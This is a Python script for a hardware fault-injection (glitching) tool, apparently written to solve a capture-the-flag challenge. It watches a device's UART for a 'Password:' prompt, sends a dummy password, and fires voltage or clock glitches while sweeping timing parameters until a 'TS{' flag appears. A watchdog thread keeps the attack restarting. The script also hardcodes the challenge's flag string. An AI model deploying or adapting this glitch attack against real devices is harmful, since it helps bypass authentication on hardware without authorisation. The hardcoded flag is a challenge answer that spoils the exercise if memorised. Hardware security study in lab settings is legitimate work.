import functions
import threading
import time

###### Config values ######
SERIAL_PORT = '/dev/ttyUSB0'
BAUD_RATE = 1000000
UART_NEWLINE = "\n"

LENGTH = 12
REPEAT = 1
DELAY = 0

### name, enabled, string to match ###
conditions = [
    ['run', True, 'Password:', 'try_glitch'],
    ["Flag", True, "TS{", "stop_glitch"],
]

###### Custom functions ######
def try_glitch():
    Len = functions.get_config_value("length")
    Rep = functions.get_config_value("repeat")
    Del = functions.get_config_value("delay")
    time.sleep(0.2)

    tx_thread = threading.Thread(
        target=functions.send_uart_message,
        args=("aaaaaaaaaaaaaaaaaaaaa",),
        daemon=True
    )

    glitch_thread = threading.Thread(
        target=functions.start_glitch,
        args=(Len, Rep, Del),
        daemon=True
    )

    glitch_thread.start()
    tx_thread.start()

    try:
        current_delay = int(Del)
    except (ValueError, TypeError):
        current_delay = 0

    try:
        current_repeat = int(Rep)
    except (ValueError, TypeError):
        current_repeat = 0

    new_delay = current_delay + 1

    if new_delay >= 51:
        new_delay = 0
        new_repeat = current_repeat + 1
        if new_repeat >= 20:
            new_repeat = 1
        functions.set_config_value("repeat", new_repeat)

    functions.set_config_value("delay", new_delay)


def stop_glitch():
    buf = functions.read_uart_buffer()

    if "TS{D@mn_y0u_@r3_g006}" in buf:
        functions.start_glitch(16, 1, 0)
    else:
        functions.set_condition_value(0, False)
        functions.set_uart_switch(False)


###### Inactivity watchdog ######
def config_inactivity_monitor(timeout=5):
    """
    Monitor 'delay' and 'repeat' configuration values.
    Restart device if they do not change for 'timeout' seconds
    AND condition 0 remains True.
    """
    # Wait for functions.config to be initialised
    while True:
        try:
            _ = functions.get_config_value("delay")
            break
        except AttributeError:
            print("[Watchdog] Waiting for configuration to initialise...")
            time.sleep(1)

    last_delay = functions.get_config_value("delay")
    last_repeat = functions.get_config_value("repeat")
    last_change_time = time.time()

    while True:
        try:
            current_delay = functions.get_config_value("delay")
            current_repeat = functions.get_config_value("repeat")
            condition_active = functions.get_condition_value(0)

            if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
                last_change_time = time.time()
                last_delay = current_delay
                last_repeat = current_repeat

            if condition_active and (time.time() - last_change_time > timeout):
                print("[Watchdog] Inactivity detected. Restarting glitch...")
                functions.start_glitch(16, 1, 0)
                last_change_time = time.time()

        except Exception as e:
            print(f"[Watchdog Error] {e}")

        time.sleep(1)


# Start watchdog thread after slight delay to allow initialisation
def start_watchdog():
    time.sleep(2)  # ensures 'functions.config' is ready
    monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
    monitor_thread.start()


threading.Thread(target=start_watchdog, daemon=True).start()
